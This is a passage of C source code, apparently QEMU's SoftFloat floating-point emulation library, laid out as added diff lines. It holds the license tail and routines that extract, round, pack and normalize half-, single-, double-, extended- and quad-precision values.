with the University of California at Berkeley, +overseen by Profs. Nelson Morgan and John Wawrzynek. More information +is available through the Web page `http://www.cs.berkeley.edu/~jhauser/ +arithmetic/SoftFloat.html'. + +THIS SOFTWARE IS DISTRIBUTED AS IS, FOR FREE. Although reasonable effort has +been made to avoid it, THIS SOFTWARE MAY CONTAIN FAULTS THAT WILL AT TIMES +RESULT IN INCORRECT BEHAVIOR. USE OF THIS SOFTWARE IS RESTRICTED TO PERSONS +AND ORGANIZATIONS WHO CAN AND WILL TAKE FULL RESPONSIBILITY FOR ALL LOSSES, +COSTS, OR OTHER PROBLEMS THEY INCUR DUE TO THE SOFTWARE, AND WHO FURTHERMORE +EFFECTIVELY INDEMNIFY JOHN HAUSER AND THE INTERNATIONAL COMPUTER SCIENCE +INSTITUTE (possibly via similar legal warning) AGAINST ALL LOSSES, COSTS, OR +OTHER PROBLEMS INCURRED BY THEIR CUSTOMERS AND CLIENTS DUE TO THE SOFTWARE. + +Derivative works are acceptable, even for commercial purposes, so long as +(1) the source code for the derivative work includes prominent notice that +the work is derivative, and (2) the source code includes prominent notice with +these four paragraphs for those parts of this code that are retained. + +=============================================================================*/ + +/* softfloat (and in particular the code in softfloat-specialize.h) is + * target-dependent and needs the TARGET_* macros. + */ +#include "config.h" + +#include "fpu/softfloat.h" + +/* We only need stdlib for abort() */ +#include <stdlib.h> + +/*---------------------------------------------------------------------------- +| Primitive arithmetic functions, including multi-word arithmetic, and +| division and square root approximations. (Can be specialized to target if +| desired.) +*----------------------------------------------------------------------------*/ +#include "softfloat-macros.h" + +/*---------------------------------------------------------------------------- +| Functions and definitions to determine: (1) whether tininess for underflow +| is detected before or after rounding by default, (2) what (if anything) +| happens when exceptions are raised, (3) how signaling NaNs are distinguished +| from quiet NaNs, (4) the default generated quiet NaNs, and (5) how NaNs +| are propagated from function inputs to output. These details are target- +| specific. +*----------------------------------------------------------------------------*/ +#include "softfloat-specialize.h" + +/*---------------------------------------------------------------------------- +| Returns the fraction bits of the half-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline uint32_t extractFloat16Frac(float16 a) +{ + return float16_val(a) & 0x3ff; +} + +/*---------------------------------------------------------------------------- +| Returns the exponent bits of the half-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline int_fast16_t extractFloat16Exp(float16 a) +{ + return (float16_val(a) >> 10) & 0x1f; +} + +/*---------------------------------------------------------------------------- +| Returns the sign bit of the single-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline flag extractFloat16Sign(float16 a) +{ + return float16_val(a)>>15; +} + +/*---------------------------------------------------------------------------- +| Takes a 64-bit fixed-point value `absZ' with binary point between bits 6 +| and 7, and returns the properly rounded 32-bit integer corresponding to the +| input. If `zSign' is 1, the input is negated before being converted to an +| integer. Bit 63 of `absZ' must be zero. Ordinarily, the fixed-point input +| is simply rounded to an integer, with the inexact exception raised if the +| input cannot be represented exactly as an integer. However, if the fixed- +| point input is too large, the invalid exception is raised and the largest +| positive or negative integer is returned. +*----------------------------------------------------------------------------*/ + +static int32 roundAndPackInt32( flag zSign, uint64_t absZ STATUS_PARAM) +{ + int8 roundingMode; + flag roundNearestEven; + int8 roundIncrement, roundBits; + int32_t z; + + roundingMode = STATUS(float_rounding_mode); + roundNearestEven = ( roundingMode == float_round_nearest_even ); + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + roundIncrement = 0x40; + break; + case float_round_to_zero: + roundIncrement = 0; + break; + case float_round_up: + roundIncrement = zSign ? 0 : 0x7f; + break; + case float_round_down: + roundIncrement = zSign ? 0x7f : 0; + break; + default: + roundIncrement = 0; + float_raise(float_flag_invalid STATUS_VAR); + break; + } + roundBits = absZ & 0x7F; + absZ = ( absZ + roundIncrement )>>7; + absZ &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); + z = (int32_t)absZ; + if ( zSign && (z != 0x80000000)) z = - z; + if ( ( absZ>>32 ) || ( z && ( ( z < 0 ) ^ zSign ) ) ) { + float_raise( float_flag_invalid STATUS_VAR); + return zSign ? (int32_t) 0x80000000 : 0x7FFFFFFF; + } + if ( roundBits ) STATUS(float_exception_flags) |= float_flag_inexact; + return z; + +} + +/*---------------------------------------------------------------------------- +| Takes the 128-bit fixed-point value formed by concatenating `absZ0' and +| `absZ1', with binary point between bits 63 and 64 (between the input words), +| and returns the properly rounded 64-bit integer corresponding to the input. +| If `zSign' is 1, the input is negated before being converted to an integer. +| Ordinarily, the fixed-point input is simply rounded to an integer, with +| the inexact exception raised if the input cannot be represented exactly as +| an integer. However, if the fixed-point input is too large, the invalid +| exception is raised and the largest positive or negative integer is +| returned. +*----------------------------------------------------------------------------*/ + +static int64 roundAndPackInt64( flag zSign, uint64_t absZ0, uint64_t absZ1 STATUS_PARAM) +{ + int8 roundingMode; + flag roundNearestEven, increment; + int64_t z; + + roundingMode = STATUS(float_rounding_mode); + roundNearestEven = ( roundingMode == float_round_nearest_even ); + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + increment = ((int64_t) absZ1 < 0); + break; + case float_round_to_zero: + increment = 0; + break; + case float_round_up: + increment = !zSign && absZ1; + break; + case float_round_down: + increment = zSign && absZ1; + break; + default: + increment = 0; + float_raise(float_flag_invalid STATUS_VAR); + break; + } + if ( increment ) { + ++absZ0; + if ( absZ0 == 0 ) goto overflow; + absZ0 &= ~ ( ( (uint64_t) ( absZ1<<1 ) == 0 ) & roundNearestEven ); + } + z = absZ0; + if ( zSign && z != 0x8000000000000000ULL ) z = - z; + if ( z && ( ( z < 0 ) ^ zSign ) ) { + overflow: + float_raise( float_flag_invalid STATUS_VAR); + return + zSign ? (int64_t) LIT64( 0x8000000000000000 ) + : LIT64( 0x7FFFFFFFFFFFFFFF ); + } + if ( absZ1 ) STATUS(float_exception_flags) |= float_flag_inexact; + return z; + +} + +/*---------------------------------------------------------------------------- +| Takes the 128-bit fixed-point value formed by concatenating `absZ0' and +| `absZ1', with binary point between bits 63 and 64 (between the input words), +| and returns the properly rounded 64-bit unsigned integer corresponding to the +| input. Ordinarily, the fixed-point input is simply rounded to an integer, +| with the inexact exception raised if the input cannot be represented exactly +| as an integer. However, if the fixed-point input is too large, the invalid +| exception is raised and the largest unsigned integer is returned. +*----------------------------------------------------------------------------*/ + +static int64 roundAndPackUint64(flag zSign, uint64_t absZ0, + uint64_t absZ1 STATUS_PARAM) +{ + int8 roundingMode; + flag roundNearestEven, increment; + + roundingMode = STATUS(float_rounding_mode); + roundNearestEven = (roundingMode == float_round_nearest_even); + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + increment = ((int64_t)absZ1 < 0); + break; + case float_round_to_zero: + increment = 0; + break; + case float_round_up: + increment = !zSign && absZ1; + break; + case float_round_down: + increment = zSign && absZ1; + break; + default: + increment = 0; + float_raise(float_flag_invalid STATUS_VAR); + break; + } + if (increment) { + ++absZ0; + if (absZ0 == 0) { + float_raise(float_flag_invalid STATUS_VAR); + return LIT64(0xFFFFFFFFFFFFFFFF); + } + absZ0 &= ~(((uint64_t)(absZ1<<1) == 0) & roundNearestEven); + } + + if (zSign && absZ0) { + float_raise(float_flag_invalid STATUS_VAR); + return 0; + } + + if (absZ1) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return absZ0; +} + +/*---------------------------------------------------------------------------- +| Returns the fraction bits of the single-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline uint32_t extractFloat32Frac( float32 a ) +{ + + return float32_val(a) & 0x007FFFFF; + +} + +/*---------------------------------------------------------------------------- +| Returns the exponent bits of the single-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline int_fast16_t extractFloat32Exp(float32 a) +{ + + return ( float32_val(a)>>23 ) & 0xFF; + +} + +/*---------------------------------------------------------------------------- +| Returns the sign bit of the single-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline flag extractFloat32Sign( float32 a ) +{ + + return float32_val(a)>>31; + +} + +/*---------------------------------------------------------------------------- +| If `a' is denormal and we are in flush-to-zero mode then set the +| input-denormal exception and return zero. Otherwise just return the value. +*----------------------------------------------------------------------------*/ +float32 float32_squash_input_denormal(float32 a STATUS_PARAM) +{ + if (STATUS(flush_inputs_to_zero)) { + if (extractFloat32Exp(a) == 0 && extractFloat32Frac(a) != 0) { + float_raise(float_flag_input_denormal STATUS_VAR); + return make_float32(float32_val(a) & 0x80000000); + } + } + return a; +} + +/*---------------------------------------------------------------------------- +| Normalizes the subnormal single-precision floating-point value represented +| by the denormalized significand `aSig'. The normalized exponent and +| significand are stored at the locations pointed to by `zExpPtr' and +| `zSigPtr', respectively. +*----------------------------------------------------------------------------*/ + +static void + normalizeFloat32Subnormal(uint32_t aSig, int_fast16_t *zExpPtr, uint32_t *zSigPtr) +{ + int8 shiftCount; + + shiftCount = countLeadingZeros32( aSig ) - 8; + *zSigPtr = aSig<<shiftCount; + *zExpPtr = 1 - shiftCount; + +} + +/*---------------------------------------------------------------------------- +| Packs the sign `zSign', exponent `zExp', and significand `zSig' into a +| single-precision floating-point value, returning the result. After being +| shifted into the proper positions, the three fields are simply added +| together to form the result. This means that any integer portion of `zSig' +| will be added into the exponent. Since a properly normalized significand +| will have an integer portion equal to 1, the `zExp' input should be 1 less +| than the desired result exponent whenever `zSig' is a complete, normalized +| significand. +*----------------------------------------------------------------------------*/ + +static inline float32 packFloat32(flag zSign, int_fast16_t zExp, uint32_t zSig) +{ + + return make_float32( + ( ( (uint32_t) zSign )<<31 ) + ( ( (uint32_t) zExp )<<23 ) + zSig); + +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent `zExp', +| and significand `zSig', and returns the proper single-precision floating- +| point value corresponding to the abstract input. Ordinarily, the abstract +| value is simply rounded and packed into the single-precision format, with +| the inexact exception raised if the abstract input cannot be represented +| exactly. However, if the abstract value is too large, the overflow and +| inexact exceptions are raised and an infinity or maximal finite value is +| returned. If the abstract value is too small, the input value is rounded to +| a subnormal number, and the underflow and inexact exceptions are raised if +| the abstract input cannot be represented exactly as a subnormal single- +| precision floating-point number. +| The input significand `zSig' has its binary point between bits 30 +| and 29, which is 7 bits to the left of the usual location. This shifted +| significand must be normalized or smaller. If `zSig' is not normalized, +| `zExp' must be 0; in that case, the result returned is a subnormal number, +| and it must not require rounding. In the usual case that `zSig' is +| normalized, `zExp' must be 1 less than the ``true'' floating-point exponent. +| The handling of underflow and overflow follows the IEC/IEEE Standard for +| Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float32 roundAndPackFloat32(flag zSign, int_fast16_t zExp, uint32_t zSig STATUS_PARAM) +{ + int8 roundingMode; + flag roundNearestEven; + int8 roundIncrement = 0, roundBits; + flag isTiny; + + roundingMode = STATUS(float_rounding_mode); + roundNearestEven = ( roundingMode == float_round_nearest_even ); + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + roundIncrement = 0x40; + break; + case float_round_to_zero: + roundIncrement = 0; + break; + case float_round_up: + roundIncrement = zSign ? 0 : 0x7f; + break; + case float_round_down: + roundIncrement = zSign ? 0x7f : 0; + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + roundBits = zSig & 0x7F; + if ( 0xFD <= (uint16_t) zExp ) { + if ( ( 0xFD < zExp ) + || ( ( zExp == 0xFD ) + && ( (int32_t) ( zSig + roundIncrement ) < 0 ) ) + ) { + float_raise( float_flag_overflow | float_flag_inexact STATUS_VAR); + return packFloat32( zSign, 0xFF, - ( roundIncrement == 0 )); + } + if ( zExp < 0 ) { + if (STATUS(flush_to_zero)) { + float_raise(float_flag_output_denormal STATUS_VAR); + return packFloat32(zSign, 0, 0); + } + isTiny = + ( STATUS(float_detect_tininess) == float_tininess_before_rounding ) + || ( zExp < -1 ) + || ( zSig + roundIncrement < 0x80000000 ); + shift32RightJamming( zSig, - zExp, &zSig ); + zExp = 0; + roundBits = zSig & 0x7F; + if ( isTiny && roundBits ) float_raise( float_flag_underflow STATUS_VAR); + } + } + if ( roundBits ) STATUS(float_exception_flags) |= float_flag_inexact; + zSig = ( zSig + roundIncrement )>>7; + zSig &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); + if ( zSig == 0 ) zExp = 0; + return packFloat32( zSign, zExp, zSig ); + +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent `zExp', +| and significand `zSig', and returns the proper single-precision floating- +| point value corresponding to the abstract input. This routine is just like +| `roundAndPackFloat32' except that `zSig' does not have to be normalized. +| Bit 31 of `zSig' must be zero, and `zExp' must be 1 less than the ``true'' +| floating-point exponent. +*----------------------------------------------------------------------------*/ + +static float32 + normalizeRoundAndPackFloat32(flag zSign, int_fast16_t zExp, uint32_t zSig STATUS_PARAM) +{ + int8 shiftCount; + + shiftCount = countLeadingZeros32( zSig ) - 1; + return roundAndPackFloat32( zSign, zExp - shiftCount, zSig<<shiftCount STATUS_VAR); + +} + +/*---------------------------------------------------------------------------- +| Returns the fraction bits of the double-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline uint64_t extractFloat64Frac( float64 a ) +{ + + return float64_val(a) & LIT64( 0x000FFFFFFFFFFFFF ); + +} + +/*---------------------------------------------------------------------------- +| Returns the exponent bits of the double-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline int_fast16_t extractFloat64Exp(float64 a) +{ + + return ( float64_val(a)>>52 ) & 0x7FF; + +} + +/*---------------------------------------------------------------------------- +| Returns the sign bit of the double-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline flag extractFloat64Sign( float64 a ) +{ + + return float64_val(a)>>63; + +} + +/*---------------------------------------------------------------------------- +| If `a' is denormal and we are in flush-to-zero mode then set the +| input-denormal exception and return zero. Otherwise just return the value. +*----------------------------------------------------------------------------*/ +float64 float64_squash_input_denormal(float64 a STATUS_PARAM) +{ + if (STATUS(flush_inputs_to_zero)) { + if (extractFloat64Exp(a) == 0 && extractFloat64Frac(a) != 0) { + float_raise(float_flag_input_denormal STATUS_VAR); + return make_float64(float64_val(a) & (1ULL << 63)); + } + } + return a; +} + +/*---------------------------------------------------------------------------- +| Normalizes the subnormal double-precision floating-point value represented +| by the denormalized significand `aSig'. The normalized exponent and +| significand are stored at the locations pointed to by `zExpPtr' and +| `zSigPtr', respectively. +*----------------------------------------------------------------------------*/ + +static void + normalizeFloat64Subnormal(uint64_t aSig, int_fast16_t *zExpPtr, uint64_t *zSigPtr) +{ + int8 shiftCount; + + shiftCount = countLeadingZeros64( aSig ) - 11; + *zSigPtr = aSig<<shiftCount; + *zExpPtr = 1 - shiftCount; + +} + +/*---------------------------------------------------------------------------- +| Packs the sign `zSign', exponent `zExp', and significand `zSig' into a +| double-precision floating-point value, returning the result. After being +| shifted into the proper positions, the three fields are simply added +| together to form the result. This means that any integer portion of `zSig' +| will be added into the exponent. Since a properly normalized significand +| will have an integer portion equal to 1, the `zExp' input should be 1 less +| than the desired result exponent whenever `zSig' is a complete, normalized +| significand. +*----------------------------------------------------------------------------*/ + +static inline float64 packFloat64(flag zSign, int_fast16_t zExp, uint64_t zSig) +{ + + return make_float64( + ( ( (uint64_t) zSign )<<63 ) + ( ( (uint64_t) zExp )<<52 ) + zSig); + +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent `zExp', +| and significand `zSig', and returns the proper double-precision floating- +| point value corresponding to the abstract input. Ordinarily, the abstract +| value is simply rounded and packed into the double-precision format, with +| the inexact exception raised if the abstract input cannot be represented +| exactly. However, if the abstract value is too large, the overflow and +| inexact exceptions are raised and an infinity or maximal finite value is +| returned. If the abstract value is too small, the input value is rounded +| to a subnormal number, and the underflow and inexact exceptions are raised +| if the abstract input cannot be represented exactly as a subnormal double- +| precision floating-point number. +| The input significand `zSig' has its binary point between bits 62 +| and 61, which is 10 bits to the left of the usual location. This shifted +| significand must be normalized or smaller. If `zSig' is not normalized, +| `zExp' must be 0; in that case, the result returned is a subnormal number, +| and it must not require rounding. In the usual case that `zSig' is +| normalized, `zExp' must be 1 less than the ``true'' floating-point exponent. +| The handling of underflow and overflow follows the IEC/IEEE Standard for +| Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float64 roundAndPackFloat64(flag zSign, int_fast16_t zExp, uint64_t zSig STATUS_PARAM) +{ + int8 roundingMode; + flag roundNearestEven; + int_fast16_t roundIncrement = 0, roundBits; + flag isTiny; + + roundingMode = STATUS(float_rounding_mode); + roundNearestEven = ( roundingMode == float_round_nearest_even ); + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + roundIncrement = 0x200; + break; + case float_round_to_zero: + roundIncrement = 0; + break; + case float_round_up: + roundIncrement = zSign ? 0 : 0x3ff; + break; + case float_round_down: + roundIncrement = zSign ? 0x3ff : 0; + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + roundBits = zSig & 0x3FF; + if ( 0x7FD <= (uint16_t) zExp ) { + if ( ( 0x7FD < zExp ) + || ( ( zExp == 0x7FD ) + && ( (int64_t) ( zSig + roundIncrement ) < 0 ) ) + ) { + float_raise( float_flag_overflow | float_flag_inexact STATUS_VAR); + return packFloat64( zSign, 0x7FF, - ( roundIncrement == 0 )); + } + if ( zExp < 0 ) { + if (STATUS(flush_to_zero)) { + float_raise(float_flag_output_denormal STATUS_VAR); + return packFloat64(zSign, 0, 0); + } + isTiny = + ( STATUS(float_detect_tininess) == float_tininess_before_rounding ) + || ( zExp < -1 ) + || ( zSig + roundIncrement < LIT64( 0x8000000000000000 ) ); + shift64RightJamming( zSig, - zExp, &zSig ); + zExp = 0; + roundBits = zSig & 0x3FF; + if ( isTiny && roundBits ) float_raise( float_flag_underflow STATUS_VAR); + } + } + if ( roundBits ) STATUS(float_exception_flags) |= float_flag_inexact; + zSig = ( zSig + roundIncrement )>>10; + zSig &= ~ ( ( ( roundBits ^ 0x200 ) == 0 ) & roundNearestEven ); + if ( zSig == 0 ) zExp = 0; + return packFloat64( zSign, zExp, zSig ); + +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent `zExp', +| and significand `zSig', and returns the proper double-precision floating- +| point value corresponding to the abstract input. This routine is just like +| `roundAndPackFloat64' except that `zSig' does not have to be normalized. +| Bit 63 of `zSig' must be zero, and `zExp' must be 1 less than the ``true'' +| floating-point exponent. +*----------------------------------------------------------------------------*/ + +static float64 + normalizeRoundAndPackFloat64(flag zSign, int_fast16_t zExp, uint64_t zSig STATUS_PARAM) +{ + int8 shiftCount; + + shiftCount = countLeadingZeros64( zSig ) - 1; + return roundAndPackFloat64( zSign, zExp - shiftCount, zSig<<shiftCount STATUS_VAR); + +} + +/*---------------------------------------------------------------------------- +| Returns the fraction bits of the extended double-precision floating-point +| value `a'. +*----------------------------------------------------------------------------*/ + +static inline uint64_t extractFloatx80Frac( floatx80 a ) +{ + + return a.low; + +} + +/*---------------------------------------------------------------------------- +| Returns the exponent bits of the extended double-precision floating-point +| value `a'. +*----------------------------------------------------------------------------*/ + +static inline int32 extractFloatx80Exp( floatx80 a ) +{ + + return a.high & 0x7FFF; + +} + +/*---------------------------------------------------------------------------- +| Returns the sign bit of the extended double-precision floating-point value +| `a'. +*----------------------------------------------------------------------------*/ + +static inline flag extractFloatx80Sign( floatx80 a ) +{ + + return a.high>>15; + +} + +/*---------------------------------------------------------------------------- +| Normalizes the subnormal extended double-precision floating-point value +| represented by the denormalized significand `aSig'. The normalized exponent +| and significand are stored at the locations pointed to by `zExpPtr' and +| `zSigPtr', respectively. +*----------------------------------------------------------------------------*/ + +static void + normalizeFloatx80Subnormal( uint64_t aSig, int32 *zExpPtr, uint64_t *zSigPtr ) +{ + int8 shiftCount; + + shiftCount = countLeadingZeros64( aSig ) & 0x3f; + *zSigPtr = aSig<<shiftCount; + *zExpPtr = 1 - shiftCount; + +} + +/*---------------------------------------------------------------------------- +| Packs the sign `zSign', exponent `zExp', and significand `zSig' into an +| extended double-precision floating-point value, returning the result. +*----------------------------------------------------------------------------*/ + +static inline floatx80 packFloatx80( flag zSign, int32 zExp, uint64_t zSig ) +{ + floatx80 z; + + z.low = zSig; + z.high = ( ( (uint16_t) zSign )<<15 ) + zExp; + return z; + +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent `zExp', +| and extended significand formed by the concatenation of `zSig0' and `zSig1', +| and returns the proper extended double-precision floating-point value +| corresponding to the abstract input. Ordinarily, the abstract value is +| rounded and packed into the extended double-precision format, with the +| inexact exception raised if the abstract input cannot be represented +| exactly. However, if the abstract value is too large, the overflow and +| inexact exceptions are raised and an infinity or maximal finite value is +| returned. If the abstract value is too small, the input value is rounded to +| a subnormal number, and the underflow and inexact exceptions are raised if +| the abstract input cannot be represented exactly as a subnormal extended +| double-precision floating-point number. +| If `roundingPrecision' is 32 or 64, the result is rounded to the same +| number of bits as single or double precision, respectively. Otherwise, the +| result is rounded to the full precision of the extended double-precision +| format. +| The input significand must be normalized or smaller. If the input +| significand is not normalized, `zExp' must be 0; in that case, the result +| returned is a subnormal number, and it must not require rounding. The +| handling of underflow and overflow follows the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static floatx80 + roundAndPackFloatx80( + int8 roundingPrecision, flag zSign, int32 zExp, uint64_t zSig0, uint64_t zSig1 + STATUS_PARAM) +{ + int8 roundingMode; + flag roundNearestEven, increment = 0, isTiny; + int64 roundIncrement, roundMask, roundBits; + + roundingMode = STATUS(float_rounding_mode); + roundNearestEven = ( roundingMode == float_round_nearest_even ); + if ( roundingPrecision == 80 ) goto precision80; + if ( roundingPrecision == 64 ) { + roundIncrement = LIT64( 0x0000000000000400 ); + roundMask = LIT64( 0x00000000000007FF ); + } + else if ( roundingPrecision == 32 ) { + roundIncrement = LIT64( 0x0000008000000000 ); + roundMask = LIT64( 0x000000FFFFFFFFFF ); + } + else { + goto precision80; + } + zSig0 |= ( zSig1 != 0 ); + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + break; + case float_round_to_zero: + roundIncrement = 0; + break; + case float_round_up: + roundIncrement = zSign ? 0 : roundMask; + break; + case float_round_down: + roundIncrement = zSign ? roundMask : 0; + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + roundBits = zSig0 & roundMask; + if ( 0x7FFD <= (uint32_t) ( zExp - 1 ) ) { + if ( ( 0x7FFE < zExp ) + || ( ( zExp == 0x7FFE ) && ( zSig0 + roundIncrement < zSig0 ) ) + ) { + goto overflow; + } + if ( zExp <= 0 ) { + if (STATUS(flush_to_zero)) { + float_raise(float_flag_output_denormal STATUS_VAR); + return packFloatx80(zSign, 0, 0); + } + isTiny = + ( STATUS(float_detect_tininess) == float_tininess_before_rounding ) + || ( zExp < 0 ) + || ( zSig0 <= zSig0 + roundIncrement ); + shift64RightJamming( zSig0, 1 - zExp, &zSig0 ); + zExp = 0; + roundBits = zSig0 & roundMask; + if ( isTiny && roundBits ) float_raise( float_flag_underflow STATUS_VAR); + if ( roundBits ) STATUS(float_exception_flags) |= float_flag_inexact; + zSig0 += roundIncrement; + if ( (int64_t) zSig0 < 0 ) zExp = 1; + roundIncrement = roundMask + 1; + if ( roundNearestEven && ( roundBits<<1 == roundIncrement ) ) { + roundMask |= roundIncrement; + } + zSig0 &= ~ roundMask; + return packFloatx80( zSign, zExp, zSig0 ); + } + } + if ( roundBits ) STATUS(float_exception_flags) |= float_flag_inexact; + zSig0 += roundIncrement; + if ( zSig0 < (uint64_t)roundIncrement ) { + ++zExp; + zSig0 = LIT64( 0x8000000000000000 ); + } + roundIncrement = roundMask + 1; + if ( roundNearestEven && ( roundBits<<1 == roundIncrement ) ) { + roundMask |= roundIncrement; + } + zSig0 &= ~ roundMask; + if ( zSig0 == 0 ) zExp = 0; + return packFloatx80( zSign, zExp, zSig0 ); + precision80: + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + increment = ((int64_t)zSig1 < 0); + break; + case float_round_to_zero: + increment = 0; + break; + case float_round_up: + increment = !zSign && zSig1; + break; + case float_round_down: + increment = zSign && zSig1; + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + if ( 0x7FFD <= (uint32_t) ( zExp - 1 ) ) { + if ( ( 0x7FFE < zExp ) + || ( ( zExp == 0x7FFE ) + && ( zSig0 == LIT64( 0xFFFFFFFFFFFFFFFF ) ) + && increment + ) + ) { + roundMask = 0; + overflow: + float_raise( float_flag_overflow | float_flag_inexact STATUS_VAR); + if ( ( roundingMode == float_round_to_zero ) + || ( zSign && ( roundingMode == float_round_up ) ) + || ( ! zSign && ( roundingMode == float_round_down ) ) + ) { + return packFloatx80( zSign, 0x7FFE, ~ roundMask ); + } + return packFloatx80( zSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( zExp <= 0 ) { + isTiny = + ( STATUS(float_detect_tininess) == float_tininess_before_rounding ) + || ( zExp < 0 ) + || ! increment + || ( zSig0 < LIT64( 0xFFFFFFFFFFFFFFFF ) ); + shift64ExtraRightJamming( zSig0, zSig1, 1 - zExp, &zSig0, &zSig1 ); + zExp = 0; + if ( isTiny && zSig1 ) float_raise( float_flag_underflow STATUS_VAR); + if ( zSig1 ) STATUS(float_exception_flags) |= float_flag_inexact; + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + increment = ((int64_t)zSig1 < 0); + break; + case float_round_to_zero: + increment = 0; + break; + case float_round_up: + increment = !zSign && zSig1; + break; + case float_round_down: + increment = zSign && zSig1; + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + if ( increment ) { + ++zSig0; + zSig0 &= + ~ ( ( (uint64_t) ( zSig1<<1 ) == 0 ) & roundNearestEven ); + if ( (int64_t) zSig0 < 0 ) zExp = 1; + } + return packFloatx80( zSign, zExp, zSig0 ); + } + } + if ( zSig1 ) STATUS(float_exception_flags) |= float_flag_inexact; + if ( increment ) { + ++zSig0; + if ( zSig0 == 0 ) { + ++zExp; + zSig0 = LIT64( 0x8000000000000000 ); + } + else { + zSig0 &= ~ ( ( (uint64_t) ( zSig1<<1 ) == 0 ) & roundNearestEven ); + } + } + else { + if ( zSig0 == 0 ) zExp = 0; + } + return packFloatx80( zSign, zExp, zSig0 ); + +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent +| `zExp', and significand formed by the concatenation of `zSig0' and `zSig1', +| and returns the proper extended double-precision floating-point value +| corresponding to the abstract input. This routine is just like +| `roundAndPackFloatx80' except that the input significand does not have to be +| normalized. +*----------------------------------------------------------------------------*/ + +static floatx80 + normalizeRoundAndPackFloatx80( + int8 roundingPrecision, flag zSign, int32 zExp, uint64_t zSig0, uint64_t zSig1 + STATUS_PARAM) +{ + int8 shiftCount; + + if ( zSig0 == 0 ) { + zSig0 = zSig1; + zSig1 = 0; + zExp -= 64; + } + shiftCount = countLeadingZeros64( zSig0 ); + shortShift128Left( zSig0, zSig1, shiftCount, &zSig0, &zSig1 ); + zExp -= shiftCount; + return + roundAndPackFloatx80( roundingPrecision, zSign, zExp, zSig0, zSig1 STATUS_VAR); + +} + +/*---------------------------------------------------------------------------- +| Returns the least-significant 64 fraction bits of the quadruple-precision +| floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline uint64_t extractFloat128Frac1( float128 a ) +{ + + return a.low; + +} + +/*---------------------------------------------------------------------------- +| Returns the most-significant 48 fraction bits of the quadruple-precision +| floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline uint64_t extractFloat128Frac0( float128 a ) +{ + + return a.high & LIT64( 0x0000FFFFFFFFFFFF ); + +} + +/*---------------------------------------------------------------------------- +| Returns the exponent bits of the quadruple-precision floating-point value +| `a'. +*----------------------------------------------------------------------------*/ + +static inline int32 extractFloat128Exp( float128 a ) +{ + + return ( a.high>>48 ) & 0x7FFF; + +} + +/*---------------------------------------------------------------------------- +| Returns the sign bit of the quadruple-precision floating-point value `a'. +*----------------------------------------------------------------------------*/ + +static inline flag extractFloat128Sign( float128 a ) +{ + + return a.high>>63; + +} + +/*---------------------------------------------------------------------------- +| Normalizes the subnormal quadruple-precision floating-point value +| represented by the denormalized significand formed by the concatenation of +| `aSig0' and `aSig1'. The normalized exponent is stored at the location +| pointed to by `zExpPtr'. The most significant 49 bits of the normalized +| significand are stored at the location pointed to by `zSig0Ptr', and the +| least significant 64 bits of the normalized significand are stored at the +| location pointed to by `zSig1Ptr'. +*----------------------------------------------------------------------------*/ + +static void + normalizeFloat128Subnormal( + uint64_t aSig0, + uint64_t aSig1, + int32 *zExpPtr, + uint64_t *zSig0Ptr, + uint64_t *zSig1Ptr + ) +{ + int8 shiftCount; + + if ( aSig0 == 0 ) { + shiftCount = countLeadingZeros64( aSig1 ) - 15; + if ( shiftCount < 0 ) { + *zSig0Ptr = aSig1>>( - shiftCount ); + *zSig1Ptr = aSig1<<( shiftCount & 63 ); + } + else { + *zSig0Ptr = aSig1<<shiftCount; + *zSig1Ptr = 0; + } + *zExpPtr = - shiftCount - 63; + } + else { + shiftCount = countLeadingZeros64( aSig0 ) - 15; + shortShift128Left( aSig0, aSig1, shiftCount, zSig0Ptr, zSig1Ptr ); + *zExpPtr = 1 - shiftCount; + } + +} + +/*---------------------------------------------------------------------------- +| Packs the sign `zSign', the exponent `zExp', and the significand formed +| by the concatenation of `zSig0' and `zSig1' into a quadruple-precision +| floating-point value, returning the result. After being shifted into the +| proper positions, the three fields `zSign', `zExp', and `zSig0' are simply +| added together to form the most significant 32 bits of the result. This +| means that any integer portion of `zSig0' will be added into the exponent. +| Since a properly normalized significand will have an integer portion equal +| to 1, the `zExp' input should be 1 less than the desired result exponent +| whenever 